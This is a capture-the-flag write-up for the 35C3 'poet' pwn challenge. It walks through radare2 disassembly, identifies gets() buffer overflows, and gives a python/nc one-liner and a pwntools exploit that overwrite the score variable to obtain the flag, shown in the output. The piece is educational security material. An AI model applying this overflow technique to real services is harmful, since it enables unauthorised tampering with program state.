poet

PWN

Description:

> We are looking for the poet of the year

A binary file was attached.

Solution:

Let's see what the program does:

```
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# ./poet

************************************************************
* We are searching for the poet of the year 2018.          *
* Submit your one line poem now to win an amazing prize! *
************************************************************

Enter the poem here:
> Roses are red, my screen is blue
Who is the author of this poem?
> MS

+--------------------------------------------------------------------------+
THE POEM
Roses are red, my screen is blue
SCORED 0 POINTS.

SORRY, THIS POEM IS JUST NOT GOOD ENOUGH.
YOU MUST SCORE EXACTLY 1000000 POINTS.
TRY AGAIN!
+--------------------------------------------------------------------------+
```

So we can enter a poem and an author, and we get graded for the poem.

Let's check the disassembly:

```
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# r2 ./poet
 -- The door can see into your soul.
[0x00400680]> aa
[WARNING: r_bin_get_vaddr: assertion 'bin && paddr != UT64_MAX' failed (line 1382)
WARNING: r_bin_get_vaddr: assertion 'bin && paddr != UT64_MAX' failed (line 1382)
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400680]> afl
0x004005c8    3 23           sym._init
0x004005f0    1 6            sym.imp.strcpy
0x00400600    1 6            sym.imp.puts
0x00400610    1 6            sym.imp.printf
0x00400620    1 6            sym.imp.fgets
0x00400630    1 6            sym.imp.gets
0x00400640    1 6            sym.imp.setvbuf
0x00400650    1 6            sym.imp.fopen
```

```
0x00400660    1 6            sym.imp.strtok
0x00400670    1 6            sym.imp.exit
0x00400680    1 43           entry0
0x004006b0    1 2            sym._dl_relocate_static_pie
0x004006c0    4 42   -> 37   sym.deregister_tm_clones
0x004006f0    4 58   -> 55   sym.register_tm_clones
0x00400730    3 34   -> 29   sym.__do_global_dtors_aux
0x00400760    1 7            entry1.init
0x00400767    1 80           sym.reward
0x004007b7   14 382          sym.rate_poem
0x00400935    1 48           sym.get_poem
0x00400965    1 38           sym.get_author
0x0040098b    6 218  -> 209  main
0x00400a00    3 101  -> 92   sym.__libc_csu_init
0x00400a70    1 2            sym.__libc_csu_fini
0x00400a74    1 9            sym._fini
```

`reward` sounds interesting:

```
[0x00400680]> s sym.reward
[0x00400767]> pdf
/ (fcn) sym.reward 80
|   sym.reward ();
|           ; CALL XREF from main (0x4009f7)
|           0x00400767      53             push rbx
|           0x00400768      4883c480       add rsp, 0xffffffffffffff80
|           0x0040076c      488d35110300.  lea rsi, [0x00400a84]       ; "r"
|           0x00400773      488d3d0c0300.  lea rdi, str._flag.txt      ; 0x400a86 ; "./flag.txt"
|           0x0040077a      e8d1feffff     call sym.imp.fopen          ; file*fopen(const char *filename, c
|           0x0040077f      4889e3         mov rbx, rsp
|           0x00400782      4889c2         mov rdx, rax
|           0x00400785      be80000000     mov esi, 0x80               ; 128
|           0x0040078a      4889df         mov rdi, rbx
|           0x0040078d      e88efeffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FIL
|           0x00400792      4889da         mov rdx, rbx
|           0x00400795      488d35041d20.  lea rsi, [0x006024a0]
|           0x0040079c      488d3d350300.  lea rdi, str.CONGRATULATIONS____THE_POET___.64s____RECEIVES_THE_
|           0x004007a3      b800000000     mov eax, 0
|           0x004007a8      e863feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004007ad      bf00000000     mov edi, 0
\           0x004007b2      e8b9feffff     call sym.imp.exit           ; void exit(int status)
```

So this is definitely where we want to get to, how does the flow take us there?

```
[0x00400767]> axt @ sym.reward
main 0x4009f7 [CALL] call sym.reward
[0x00400767]> pdf @ main
/ (fcn) main 209
|   main (int argc, char **argv, char **envp);
|           ; DATA XREF from entry0 (0x40069d)
|           0x0040098b      53             push rbx
|           0x0040098c      b900000000     mov ecx, 0
|           0x00400991      ba02000000     mov edx, 2
|           0x00400996      be00000000     mov esi, 0
|           0x0040099b      488b3dde1620.  mov rdi, qword [obj.stdout__GLIBC_2.2.5] ; [0x602080:8]=0
|           0x004009a2      e899fcffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf
|           0x004009a7      488d3d920200.  lea rdi, str.We_are_searching_for_the_poet_of_the_year_2018.____
|           0x004009ae      e84dfcffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004009b3      488d1de61620.  lea rbx, obj.poem           ; 0x6020a0
|           ; CODE XREF from main (0x4009f0)
|       .-> 0x004009ba      b800000000     mov eax, 0
|       :   0x004009bf      e871ffffff     call sym.get_poem
|       :   0x004009c4      b800000000     mov eax, 0
|       :   0x004009c9      e897ffffff     call sym.get_author
|       :   0x004009ce      b800000000     mov eax, 0
|       :   0x004009d3      e8dffdffff     call sym.rate_poem
|       :   0x004009d8      81bb40040000.  cmp dword [rbx + 0x440], 0xf4240 ; [0x440:4]=-1 ; 1000000
|      ,==< 0x004009e2      740e           je 0x4009f2
|      |:   0x004009e4      488d3d450300.  lea rdi, str.SORRY__THIS_POEM_IS_JUST_NOT_GOOD_ENOUGH.__YOU_MUST
|      |:   0x004009eb      e810fcffff     call sym.imp.puts           ; int puts(const char *s)
|      |`=< 0x004009f0      ebc8           jmp 0x4009ba
|      `--> 0x004009f2      b800000000     mov eax, 0
```

```
|           0x004009f7      e86bfdffff     call sym.reward
|           0x004009fc      0f1f4000       nop dword [rax]
```

So the flow is pretty simple - read the poem from the user, then read the author name, then rate the poem and if the score is exactly 0xf4240 (1000000) points - we get the flag.

Let's dive into the implementation:

```
[0x00400767]> s sym.get_poem
[0x00400935]> pdf
/ (fcn) sym.get_poem 48
|   sym.get_poem ();
|           ; CALL XREF from main (0x4009bf)
|           0x00400935      4883ec08       sub rsp, 8
|           0x00400939      488d3d7b0100.  lea rdi, str.Enter_the_poem_here: ; 0x400abb ; "Enter the poem h
|           0x00400940      b800000000     mov eax, 0
|           0x00400945      e8c6fcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0040094a      488d3d4f1720.  lea rdi, obj.poem           ; 0x6020a0
|           0x00400951      e8dafcffff     call sym.imp.gets           ; char *gets(char *s)
|           0x00400956      c705801b2000.  mov dword [0x006024e0], 0   ; [0x6024e0:4]=0
|           0x00400960      4883c408       add rsp, 8
\           0x00400964      c3             ret
```

So `get_poem` has a buffer overflow, since the user called `gets(poem)` without checking boundaries.

Same story for `get_author` - we can overflow it as well:

```
[0x00400935]> s sym.get_author
[0x00400965]> pdf
/ (fcn) sym.get_author 38
|   sym.get_author ();
|           ; CALL XREF from main (0x4009c9)
|           0x00400965      4883ec08       sub rsp, 8
|           0x00400969      488d3da80200.  lea rdi, str.Who_is_the_author_of_this_poem ; 0x400c18 ; "Who is
|           0x00400970      b800000000     mov eax, 0
|           0x00400975      e896fcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0040097a      488d3d1f1b20.  lea rdi, [0x006024a0]
|           0x00400981      e8aafcffff     call sym.imp.gets           ; char *gets(char *s)
|           0x00400986      4883c408       add rsp, 8
\           0x0040098a      c3             ret
```

Note that `obj.poem` is at address 0x6020a0, and the author buffer is at address 0x006024a0.

Radare2 marks `obj.poem` as a buffer of length 1092, which means 0x6020a0 until 0x6024e4:

```
[0x00400965]> is~poem
050 0x000007b7 0x004007b7 GLOBAL   FUNC  382 rate_poem
070 0x00000935 0x00400935 GLOBAL   FUNC   48 get_poem
071 ---------- 0x006020a0 GLOBAL    OBJ 1092 poem
```

So this means that the author buffer is **within** what Radare marked as the poem buffer. And if we look closely, the rating variable (0x6020a0 + 0x440) is right after the author buffer.

```
+-------------+ 0x6020a0
| actual poem | <---------- Length: 1024
+-------------+ 0x6024a0
|    author   | <---------- Length: 64
+-------------+ 0x6024e0
|   rating    | <---------- Length: 4
+-------------+ 0x6024e4
```

This means that we can overflow `rating` both via the poem and via the author. However, won't `rate_poem` overwrite our value?

Inspecting `rate_poem` revealed that as long as we avoid a few key words such as "eat", "sleep", "pwn" and "repeat", our rating is safe and will not be updated.

A one-liner to do this:

```
{ python -c "print 'A'*10"; python -c "print 'B'*64 + '\x40\x42\x0f\x00\x00\x00\x00\x00'";} | nc
35.207.132.47 22223
```

Or, with a pwntools script:

```
from pwn import *
import argparse
import os

LOCAL_PATH = "./poet"

def get_process(is_remote = False):
    if is_remote:
        return remote("35.207.132.47", 22223)
    else:
        return process(LOCAL_PATH)

def send_payload(proc, payload):
    proc.sendlineafter("Enter the poem here:\n>", "A")
    proc.sendlineafter("Who is the author of this poem?\n>", payload)


parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()

p = get_process(args.remote)
payload = fit({64: p64(0x0F4240)})

send_payload(p, payload)
print p.recvall()
```

The output:

```
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# python exploit3.py -r
[+] Opening connection to 35.207.132.47 on port 22223: Done
[+] Receiving all data: Done (413B)
[*] Closed connection to 35.207.132.47 port 22223

+--------------------------------------------------------------------------------+
THE POEM
A
SCORED 1000000 POINTS.

CONGRATULATIONS

THE POET
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa

RECEIVES THE AWARD FOR POET OF THE YEAR 2018!

THE PRIZE IS THE FOLLOWING FLAG:
35C3_f08b903f48608a14cbfbf73c08d7bdd731a87d39

+--------------------------------------------------------------------------------+
```

The flag: 35C3_f08b903f48608a14cbfbf73c08d7bdd731a87d39